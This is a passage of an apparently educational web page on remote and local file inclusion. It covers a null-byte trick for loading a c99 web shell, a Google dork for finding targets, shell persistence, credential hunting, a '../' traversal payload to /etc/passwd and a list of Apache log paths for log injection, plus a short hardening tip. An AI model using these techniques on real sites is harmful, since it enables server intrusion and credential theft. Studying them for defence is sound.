<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Sometimes the PHP script on the server appends “</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.php</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">” to the end of every included file. So if you included the shell, it would end up looking like “c99.txt.php” and not work. To get around this, you would add a null byte () to the end of c99.txt. This tells the server to ignore everything after c99.txt. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In step one, I told you that hackers use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be: </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">allinurl:.php?page=</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This looks for URL’s with .php?page= in them. This is only an example and you most likely won’t find any vulnerable sites with that search. You can try switching around the word “page” with other letters and similar words. Hackers usually search vulnerability databases like </span><a href="http://www.milw0rm.com/" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">www.milw0rm.com</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">for already discovered RFI vulnerabilities in site content management systems and search for websites that are running that vulnerable web application with a Google dork. </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.2pt; margin-left: 90.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol start="8" style="margin-bottom: 0pt; margin-top: 0pt;"><ol start="8" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If the hacker succeeds in getting the server to parse the shell, he will be presented with a screen similar to the following: </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 1.9pt; margin-left: 36.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 11pt; margin-right: 52.05pt; margin-top: 0pt; text-align: right;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img height="491" src="https://lh5.googleusercontent.com/xC1QEKbKyGQJt5NsudqBDkuwSFMe7u1av9gVcT_ifPRA2vX_UerqFd8L8Y2Ix5Dogdeq03Fxw5GgDb1MjTaEu5kDFPIj4WCEawjCGPL0EZCEty47laxDhPpYqrRzSXlavlA5UdNMvgc25bdT4w" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="535" /></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.15pt; margin-left: 72.5pt; margin-right: 38.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The shell will display information about the remote server and list all the files and directories on it. From here the hacker would find a directory that has read and write privileges and upload the shell but this time as a </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.php</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> file so that incase the vulnerability is fixed, he will be able to access it later on. </span></div>
<ol start="9" style="margin-bottom: 0pt; margin-top: 0pt;"><ol start="9" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The hacker would next find a way to gain root privileges on the system. He can do this by uploading and running local exploits against the server. He could also search the victim server for configuration files. These files may contain username and passwords for the MYSQL databases and such. </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-left: 0.45pt; margin-right: 26.85pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">php.ini</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> file has </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">register_globals</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">allow_url_fopen</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> disabled. </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 13.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 12.15pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: #038900; font-family: Calibri; font-size: 24px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Local File Inclusion </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-left: 0.5pt; margin-right: 52.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/etc/passwd</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a vulnerable site, </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">www.targetsite.com/index.php?p=about</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, by means of directory transversal he would try to browse to the /etc/passwd file:  </span></div>
<h3 dir="ltr" style="line-height: 1.2300000000000002; margin-bottom: 12.15pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">www.target-site.com/index.php?p=</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../etc/passwd</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></h3>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.1pt; margin-left: 0.45pt; margin-right: 40.6pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> you up one directory and the amount to use depends where in the server you are located compared the location of the /etc/passwd file. </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 11.75pt; margin-left: 0.45pt; margin-right: 24.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If the hacker is able to successfully get to the /etc/passwd file he would see a list similar to the one below. </span></div>
<div dir="ltr" style="line-height: 2.735; margin-bottom: 11.85pt; margin-left: 27.05pt; margin-right: 188.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 12px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 16.2pt; margin-left: 27.5pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Each line is divided into seven parts:  </span></div>
<h3 dir="ltr" style="line-height: 1.2300000000000002; margin-bottom: 16.2pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">u</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sername:passwd:UserID:GroupID:full_name:directory:shell </span></h3>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 16.15pt; margin-left: 27.45pt; margin-right: 45.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If the password hash was shown, the hacker would be able to crack it and get access to the machine, but in our case the password isn’t shown</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This means that the password is shadowed and in the /etc/shadow file which the hacker doesn’t have access to. If this was the case, the hacker would probably attempt to get access to the system another way, through log injection. </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 15.75pt; margin-left: 27.45pt; margin-right: 44.35pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The log directories are located in different areas in different Linux distributions. Below is a list of the most common locations. </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../apache/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../apache/logs/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../apache/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../apache/logs/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../apache/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../apache/logs/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../etc/httpd/logs/acces_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../etc/httpd/logs/acces.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../etc/httpd/logs/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../etc/httpd/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/www/logs/access_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/www/logs/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../usr/local/apache/logs/access_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../usr/local/apache/logs/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache/access_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache2/access_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache2/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/access_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/access.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/www/logs/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/www/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../usr/local/apache/logs/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../usr/local/apache/logs/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache2/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/apache2/error.log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/error_log </span></div>
<div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-left: 107.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">../../../../../../../var/log/error.log </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-left: 0.5pt; margin-right: 54.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Below are the steps a hacker would take to take gain access to the system through log injection. </span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">First the hacker would find what operating system version the target server is running and then search where the log files are located on that OS. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Next, through LFI the hacker would navigate to that file location. If he is displayed with a bunch of logs, then he may continue. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.2pt; margin-top: 0pt;">
